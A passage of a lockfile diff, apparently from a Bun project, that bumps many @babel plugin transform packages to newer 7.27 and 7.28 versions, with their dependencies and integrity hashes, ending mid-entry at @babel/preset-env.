- "@babel/plugin-transform-modules-umd": ["@babel/plugin-transform-modules-umd@7.25.9", "", { "dependencies": { "@babel/helper-module-transforms": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-bS9MVObUgE7ww36HEfwe6g9WakQ0KF07mQF74uuXdkoziUPfKyu/nIm663kz//e5O1nPInPFx36z7WJmJ4yNEw=="],
+ "@babel/plugin-transform-modules-umd": ["@babel/plugin-transform-modules-umd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iQBE/xC5BV1OxJbp6WG7jq9IWiD+xxlZhLrdwpPkTX3ydmXdvoCpyfJN7acaIBZaOqTfr76pgzqBJflNbeRK+w=="],
- "@babel/plugin-transform-named-capturing-groups-regex": ["@babel/plugin-transform-named-capturing-groups-regex@7.25.9", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-oqB6WHdKTGl3q/ItQhpLSnWWOpjUJLsOCLVyeFgeTktkBSCiurvPOsyt93gibI9CmuKvTUEtWmG5VhZD+5T/KA=="],
+ "@babel/plugin-transform-named-capturing-groups-regex": ["@babel/plugin-transform-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-SstR5JYy8ddZvD6MhV0tM/j16Qds4mIpJTOd1Yu9J9pJjH93bxHECF7pgtc28XvkzTD6Pxcm/0Z73Hvk7kb3Ng=="],
- "@babel/plugin-transform-new-target": ["@babel/plugin-transform-new-target@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-U/3p8X1yCSoKyUj2eOBIx3FOn6pElFOKvAAGf8HTtItuPyB+ZeOqfn+mvTtg9ZlOAjsPdK3ayQEjqHjU/yLeVQ=="],
+ "@babel/plugin-transform-new-target": ["@babel/plugin-transform-new-target@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-f6PiYeqXQ05lYq3TIfIDu/MtliKUbNwkGApPUvyo6+tc7uaR4cPjPe7DFPr15Uyycg2lZU6btZ575CuQoYh7MQ=="],
- "@babel/plugin-transform-nullish-coalescing-operator": ["@babel/plugin-transform-nullish-coalescing-operator@7.26.6", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.26.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-CKW8Vu+uUZneQCPtXmSBUC6NCAUdya26hWCElAWh5mVSlSRsmiCPUUDKb3Z0szng1hiAJa098Hkhg9o4SE35Qw=="],
+ "@babel/plugin-transform-nullish-coalescing-operator": ["@babel/plugin-transform-nullish-coalescing-operator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aGZh6xMo6q9vq1JGcw58lZ1Z0+i0xB2x0XaauNIUXd6O1xXc3RwoWEBlsTQrY4KQ9Jf0s5rgD6SiNkaUdJegTA=="],
- "@babel/plugin-transform-numeric-separator": ["@babel/plugin-transform-numeric-separator@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-TlprrJ1GBZ3r6s96Yq8gEQv82s8/5HnCVHtEJScUj90thHQbwe+E5MLhi2bbNHBEJuzrvltXSru+BUxHDoog7Q=="],
+ "@babel/plugin-transform-numeric-separator": ["@babel/plugin-transform-numeric-separator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fdPKAcujuvEChxDBJ5c+0BTaS6revLV7CJL08e4m3de8qJfNIuCc2nc7XJYOjBoTMJeqSmwXJ0ypE14RCjLwaw=="],
- "@babel/plugin-transform-object-rest-spread": ["@babel/plugin-transform-object-rest-spread@7.25.9", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9", "@babel/plugin-transform-parameters": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fSaXafEE9CVHPweLYw4J0emp1t8zYTXyzN3UuG+lylqkvYd7RMrsOQ8TYx5RF231be0vqtFC6jnx3UmpJmKBYg=="],
+ "@babel/plugin-transform-object-rest-spread": ["@babel/plugin-transform-object-rest-spread@7.28.4", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.0", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-373KA2HQzKhQCYiRVIRr+3MjpCObqzDlyrM6u4I201wL8Mp2wHf7uB8GhDwis03k2ti8Zr65Zyyqs1xOxUF/Ew=="],
- "@babel/plugin-transform-object-super": ["@babel/plugin-transform-object-super@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-replace-supers": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Kj/Gh+Rw2RNLbCK1VAWj2U48yxxqL2x0k10nPtSdRa0O2xnHXalD0s+o1A6a0W43gJ00ANo38jxkQreckOzv5A=="],
+ "@babel/plugin-transform-object-super": ["@babel/plugin-transform-object-super@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-SFy8S9plRPbIcxlJ8A6mT/CxFdJx/c04JEctz4jf8YZaVS2px34j7NXRrlGlHkN/M2gnpL37ZpGRGVFLd3l8Ng=="],
- "@babel/plugin-transform-optional-catch-binding": ["@babel/plugin-transform-optional-catch-binding@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-qM/6m6hQZzDcZF3onzIhZeDHDO43bkNNlOX0i8n3lR6zLbu0GN2d8qfM/IERJZYauhAHSLHy39NF0Ctdvcid7g=="],
+ "@babel/plugin-transform-optional-catch-binding": ["@babel/plugin-transform-optional-catch-binding@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-txEAEKzYrHEX4xSZN4kJ+OfKXFVSWKB2ZxM9dpcE3wT7smwkNmXo5ORRlVzMVdJbD+Q8ILTgSD7959uj+3Dm3Q=="],
- "@babel/plugin-transform-optional-chaining": ["@babel/plugin-transform-optional-chaining@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6AvV0FsLULbpnXeBjrY4dmWF8F7gf8QnvTEoO/wX/5xm/xE1Xo8oPuD3MPS+KS9f9XBEAWN7X1aWr4z9HdOr7A=="],
+ "@babel/plugin-transform-optional-chaining": ["@babel/plugin-transform-optional-chaining@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N6fut9IZlPnjPwgiQkXNhb+cT8wQKFlJNqcZkWlcTqkcqx6/kU4ynGmLFoa4LViBSirn05YAwk+sQBbPfxtYzQ=="],
- "@babel/plugin-transform-parameters": ["@babel/plugin-transform-parameters@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-wzz6MKwpnshBAiRmn4jR8LYz/g8Ksg0o80XmwZDlordjwEk9SxBzTWC7F5ef1jhbrbOW2DJ5J6ayRukrJmnr0g=="],
+ "@babel/plugin-transform-parameters": ["@babel/plugin-transform-parameters@7.27.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-qBkYTYCb76RRxUM6CcZA5KRu8K4SM8ajzVeUgVdMVO9NN9uI/GaVmBg/WKJJGnNokV9SY8FxNOVWGXzqzUidBg=="],
- "@babel/plugin-transform-private-methods": ["@babel/plugin-transform-private-methods@7.25.9", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D/JUozNpQLAPUVusvqMxyvjzllRaF8/nSrP1s2YGQT/W4LHK4xxsMcHjhOGTS01mp9Hda8nswb+FblLdJornQw=="],
+ "@babel/plugin-transform-private-methods": ["@babel/plugin-transform-private-methods@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-10FVt+X55AjRAYI9BrdISN9/AQWHqldOeZDUoLyif1Kn05a56xVBXb8ZouL8pZ9jem8QpXaOt8TS7RHUIS+GPA=="],
- "@babel/plugin-transform-private-property-in-object": ["@babel/plugin-transform-private-property-in-object@7.25.9", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.25.9", "@babel/helper-create-class-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Evf3kcMqzXA3xfYJmZ9Pg1OvKdtqsDMSWBDzZOPLvHiTt36E75jLDQo5w1gtRU95Q4E5PDttrTf25Fw8d/uWLw=="],
+ "@babel/plugin-transform-private-property-in-object": ["@babel/plugin-transform-private-property-in-object@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5J+IhqTi1XPa0DXF83jYOaARrX+41gOewWbkPyjMNRDqgOCqdffGh8L3f/Ek5utaEBZExjSAzcyjmV9SSAWObQ=="],
- "@babel/plugin-transform-property-literals": ["@babel/plugin-transform-property-literals@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-IvIUeV5KrS/VPavfSM/Iu+RE6llrHrYIKY1yfCzyO/lMXHQ+p7uGhonmGVisv6tSBSVgWzMBohTcvkC9vQcQFA=="],
+ "@babel/plugin-transform-property-literals": ["@babel/plugin-transform-property-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-oThy3BCuCha8kDZ8ZkgOg2exvPYUlprMukKQXI1r1pJ47NCvxfkEy8vK+r/hT9nF0Aa4H1WUPZZjHTFtAhGfmQ=="],
- "@babel/plugin-transform-react-display-name": ["@babel/plugin-transform-react-display-name@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-GnvhtVfA2OAtzdX58FJxU19rhoGeQzyVndw3GgtdECQvQFXPEZIOVULHVZGAYmOgmqjXpVpfocAbSjh99V/Fqw=="],
+ "@babel/plugin-transform-react-display-name": ["@babel/plugin-transform-react-display-name@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D6Eujc2zMxKjfa4Zxl4GHMsmhKKZ9VpcqIchJLvwTxad9zWIYulwYItBovpDOoNLISpcZSXoDJ5gaGbQUDqViA=="],
- "@babel/plugin-transform-react-jsx": ["@babel/plugin-transform-react-jsx@7.23.4", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-module-imports": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-jsx": "^7.23.3", "@babel/types": "^7.23.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5xOpoPguCZCRbo/JeHlloSkTA8Bld1J/E1/kLfD1nsuiW1m8tduTA1ERCgIZokDflX/IBzKcqR3l7VlRgiIfHA=="],
+ "@babel/plugin-transform-react-jsx": ["@babel/plugin-transform-react-jsx@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/types": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-2KH4LWGSrJIkVf5tSiBFYuXDAoWRq2MMwgivCf+93dd0GQi8RXLjKA/0EvRnVV5G0hrHczsquXuD01L8s6dmBw=="],
- "@babel/plugin-transform-react-jsx-development": ["@babel/plugin-transform-react-jsx-development@7.22.5", "", { "dependencies": { "@babel/plugin-transform-react-jsx": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-bDhuzwWMuInwCYeDeMzyi7TaBgRQei6DqxhbyniL7/VG4RSS7HtSL2QbY4eESy1KJqlWt8g3xeEBGPuo+XqC8A=="],
+ "@babel/plugin-transform-react-jsx-development": ["@babel/plugin-transform-react-jsx-development@7.27.1", "", { "dependencies": { "@babel/plugin-transform-react-jsx": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ykDdF5yI4f1WrAolLqeF3hmYU12j9ntLQl/AOG1HAS21jxyg1Q0/J/tpREuYLfatGdGmXp/3yS0ZA76kOlVq9Q=="],
- "@babel/plugin-transform-react-jsx-self": ["@babel/plugin-transform-react-jsx-self@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-y8quW6p0WHkEhmErnfe58r7x0A70uKphQm8Sp8cV7tjNQwK56sNVK0M73LK3WuYmsuyrftut4xAkjjgU0twaMg=="],
+ "@babel/plugin-transform-react-jsx-self": ["@babel/plugin-transform-react-jsx-self@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X2qjJ75fZBMSnQn3Rq2mrBJK2mw=="],
- "@babel/plugin-transform-react-jsx-source": ["@babel/plugin-transform-react-jsx-source@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+iqjT8xmXhhYv4/uiYd8FNQsraMFZIfxVSqxxVSZP0WbbSAWvBXAul0m/zu+7Vv4O/3WtApy9pmaTMiumEZgfg=="],
+ "@babel/plugin-transform-react-jsx-source": ["@babel/plugin-transform-react-jsx-source@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeokowZFN3CZ64IvEqcmmkVe89OPXc7ldAw=="],
- "@babel/plugin-transform-react-pure-annotations": ["@babel/plugin-transform-react-pure-annotations@7.23.3", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-qMFdSS+TUhB7Q/3HVPnEdYJDQIk57jkntAwSuz9xfSE4n+3I+vHYCli3HoHawN1Z3RfCz/y1zXA/JXjG6cVImQ=="],
+ "@babel/plugin-transform-react-pure-annotations": ["@babel/plugin-transform-react-pure-annotations@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-JfuinvDOsD9FVMTHpzA/pBLisxpv1aSf+OIV8lgH3MuWrks19R27e6a6DipIg4aX1Zm9Wpb04p8wljfKrVSnPA=="],
- "@babel/plugin-transform-regenerator": ["@babel/plugin-transform-regenerator@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "regenerator-transform": "^0.15.2" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vwDcDNsgMPDGP0nMqzahDWE5/MLcX8sv96+wfX7as7LoF/kr97Bo/7fI00lXY4wUXYfVmwIIyG80fGZ1uvt2qg=="],
+ "@babel/plugin-transform-regenerator": ["@babel/plugin-transform-regenerator@7.28.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+ZEdQlBoRg9m2NnzvEeLgtvBMO4tkFBw5SQIUgLICgTrumLoU7lr+Oghi6km2PFj+dbUt2u1oby2w3BDO9YQnA=="],
- "@babel/plugin-transform-regexp-modifiers": ["@babel/plugin-transform-regexp-modifiers@7.26.0", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-vN6saax7lrA2yA/Pak3sCxuD6F5InBjn9IcrIKQPjpsLvuHYLVroTxjdlVRHjjBWxKOqIwpTXDkOssYT4BFdRw=="],
+ "@babel/plugin-transform-regexp-modifiers": ["@babel/plugin-transform-regexp-modifiers@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-TtEciroaiODtXvLZv4rmfMhkCv8jx3wgKpL68PuiPh2M4fvz5jhsA7697N1gMvkvr/JTF13DrFYyEbY9U7cVPA=="],
- "@babel/plugin-transform-reserved-words": ["@babel/plugin-transform-reserved-words@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-7DL7DKYjn5Su++4RXu8puKZm2XBPHyjWLUidaPEkCUBbE7IPcsrkRHggAOOKydH1dASWdcUBxrkOGNxUv5P3Jg=="],
+ "@babel/plugin-transform-reserved-words": ["@babel/plugin-transform-reserved-words@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-V2ABPHIJX4kC7HegLkYoDpfg9PVmuWy/i6vUM5eGK22bx4YVFD3M5F0QQnWQoDs6AGsUWTVOopBiMFQgHaSkVw=="],
"@babel/plugin-transform-runtime": ["@babel/plugin-transform-runtime@7.23.9", "", { "dependencies": { "@babel/helper-module-imports": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5", "babel-plugin-polyfill-corejs2": "^0.4.8", "babel-plugin-polyfill-corejs3": "^0.9.0", "babel-plugin-polyfill-regenerator": "^0.5.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-A7clW3a0aSjm3ONU9o2HAILSegJCYlEZmOhmBRReVtIpY/Z/p7yIZ+wR41Z+UipwdGuqwtID/V/dOdZXjwi9gQ=="],
- "@babel/plugin-transform-shorthand-properties": ["@babel/plugin-transform-shorthand-properties@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MUv6t0FhO5qHnS/W8XCbHmiRWOphNufpE1IVxhK5kuN3Td9FT1x4rx4K42s3RYdMXCXpfWkGSbCSd0Z64xA7Ng=="],
+ "@babel/plugin-transform-shorthand-properties": ["@babel/plugin-transform-shorthand-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N/wH1vcn4oYawbJ13Y/FxcQrWk63jhfNa7jef0ih7PHSIHX2LB7GWE1rkPrOnka9kwMxb6hMl19p7lidA+EHmQ=="],
- "@babel/plugin-transform-spread": ["@babel/plugin-transform-spread@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-oNknIB0TbURU5pqJFVbOOFspVlrpVwo2H1+HUIsVDvp5VauGGDP1ZEvO8Nn5xyMEs3dakajOxlmkNW7kNgSm6A=="],
+ "@babel/plugin-transform-spread": ["@babel/plugin-transform-spread@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-kpb3HUqaILBJcRFVhFUs6Trdd4mkrzcGXss+6/mxUd273PfbWqSDHRzMT2234gIg2QYfAjvXLSquP1xECSg09Q=="],
- "@babel/plugin-transform-sticky-regex": ["@babel/plugin-transform-sticky-regex@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-WqBUSgeVwucYDP9U/xNRQam7xV8W5Zf+6Eo7T2SRVUFlhRiMNFdFz58u0KZmCVVqs2i7SHgpRnAhzRNmKfi2uA=="],
+ "@babel/plugin-transform-sticky-regex": ["@babel/plugin-transform-sticky-regex@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lhInBO5bi/Kowe2/aLdBAawijx+q1pQzicSgnkB6dUPc1+RC8QmJHKf2OjvU+NZWitguJHEaEmbV6VWEouT58g=="],
- "@babel/plugin-transform-template-literals": ["@babel/plugin-transform-template-literals@7.26.8", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.26.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OmGDL5/J0CJPJZTHZbi2XpO0tyT2Ia7fzpW5GURwdtp2X3fMmN8au/ej6peC/T33/+CRiIpA8Krse8hFGVmT5Q=="],
+ "@babel/plugin-transform-template-literals": ["@babel/plugin-transform-template-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fBJKiV7F2DxZUkg5EtHKXQdbsbURW3DZKQUWphDum0uRP6eHGGa/He9mc0mypL680pb+e/lDIthRohlv8NCHkg=="],
- "@babel/plugin-transform-typeof-symbol": ["@babel/plugin-transform-typeof-symbol@7.26.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.26.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-jfoTXXZTgGg36BmhqT3cAYK5qkmqvJpvNrPhaK/52Vgjhw4Rq29s9UqpWWV0D6yuRmgiFH/BUVlkl96zJWqnaw=="],
+ "@babel/plugin-transform-typeof-symbol": ["@babel/plugin-transform-typeof-symbol@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-RiSILC+nRJM7FY5srIyc4/fGIwUhyDuuBSdWn4y6yT6gm652DpCHZjIipgn6B7MQ1ITOUnAKWixEUjQRIBIcLw=="],
- "@babel/plugin-transform-typescript": ["@babel/plugin-transform-typescript@7.23.6", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-create-class-features-plugin": "^7.23.6", "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-typescript": "^7.23.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6cBG5mBvUu4VUD04OHKnYzbuHNP8huDsD3EDqqpIpsswTDoqHCjLoHb6+QgsV1WsT2nipRqCPgxD3LXnEO7XfA=="],
+ "@babel/plugin-transform-typescript": ["@babel/plugin-transform-typescript@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-create-class-features-plugin": "^7.28.5", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-syntax-typescript": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-x2Qa+v/CuEoX7Dr31iAfr0IhInrVOWZU/2vJMJ00FOR/2nM0BcBEclpaf9sWCDc+v5e9dMrhSH8/atq/kX7+bA=="],
- "@babel/plugin-transform-unicode-escapes": ["@babel/plugin-transform-unicode-escapes@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-s5EDrE6bW97LtxOcGj1Khcx5AaXwiMmi4toFWRDP9/y0Woo6pXC+iyPu/KuhKtfSrNFd7jJB+/fkOtZy6aIC6Q=="],
+ "@babel/plugin-transform-unicode-escapes": ["@babel/plugin-transform-unicode-escapes@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Ysg4v6AmF26k9vpfFuTZg8HRfVWzsh1kVfowA23y9j/Gu6dOuahdUVhkLqpObp3JIv27MLSii6noRnuKN8H0Mg=="],
- "@babel/plugin-transform-unicode-property-regex": ["@babel/plugin-transform-unicode-property-regex@7.25.9", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Jt2d8Ga+QwRluxRQ307Vlxa6dMrYEMZCgGxoPR8V52rxPyldHu3hdlHspxaqYmE7oID5+kB+UKUB/eWS+DkkWg=="],
+ "@babel/plugin-transform-unicode-property-regex": ["@babel/plugin-transform-unicode-property-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-uW20S39PnaTImxp39O5qFlHLS9LJEmANjMG7SxIhap8rCHqu0Ik+tLEPX5DKmHn6CsWQ7j3lix2tFOa5YtL12Q=="],
- "@babel/plugin-transform-unicode-regex": ["@babel/plugin-transform-unicode-regex@7.25.9", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-yoxstj7Rg9dlNn9UQxzk4fcNivwv4nUYz7fYXBaKxvw/lnmPuOm/ikoELygbYq68Bls3D/D+NBPHiLwZdZZ4HA=="],
+ "@babel/plugin-transform-unicode-regex": ["@babel/plugin-transform-unicode-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-xvINq24TRojDuyt6JGtHmkVkrfVV3FPT16uytxImLeBZqW3/H52yN+kM1MGuyPkIQxrzKwPHs5U/MP3qKyzkGw=="],
- "@babel/plugin-transform-unicode-sets-regex": ["@babel/plugin-transform-unicode-sets-regex@7.25.9", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-8BYqO3GeVNHtx69fdPshN3fnzUNLrWdHhk/icSwigksJGczKSizZ+Z6SBCxTs723Fr5VSNorTIK7a+R2tISvwQ=="],
+ "@babel/plugin-transform-unicode-sets-regex": ["@babel/plugin-transform-unicode-sets-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-EtkOujbc4cgvb0mlpQefi4NTPBzhSIevblFevACNLUspmrALgmEBdL/XfnyyITfd8fKBZrZys92zOWcik7j9Tw=="],
- "@babel/preset-env": ["@babel/preset-env@7.26.9", "", { "dependencies": { "@babel/compat-data": "^7.26.8", "@babel/helper-compilation-targets": "^7.26.5", "@babel/helper-plugin-utils": "^7.26.5", "@babel/helper-validator-option": "^7.25.9", "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.25.9", "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.25.9", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.25.9", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.25.9", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.25.9", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-import-assertions": "^7.26.0", "@babel/plugin-syntax-import-attributes": "^7.26.0", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.25.9", "@babel/plugin-transform-async-generator-functions": "^7.26.8", "@babel/plugin-transform-async-to-generator": "^7.25.9", "@babel/plugin-transform-block-scoped-functions": "^7.26.5", "@babel/plugin-transform-block-scoping": "^7.25.9", "@babel/plugin-transform-class-properties": 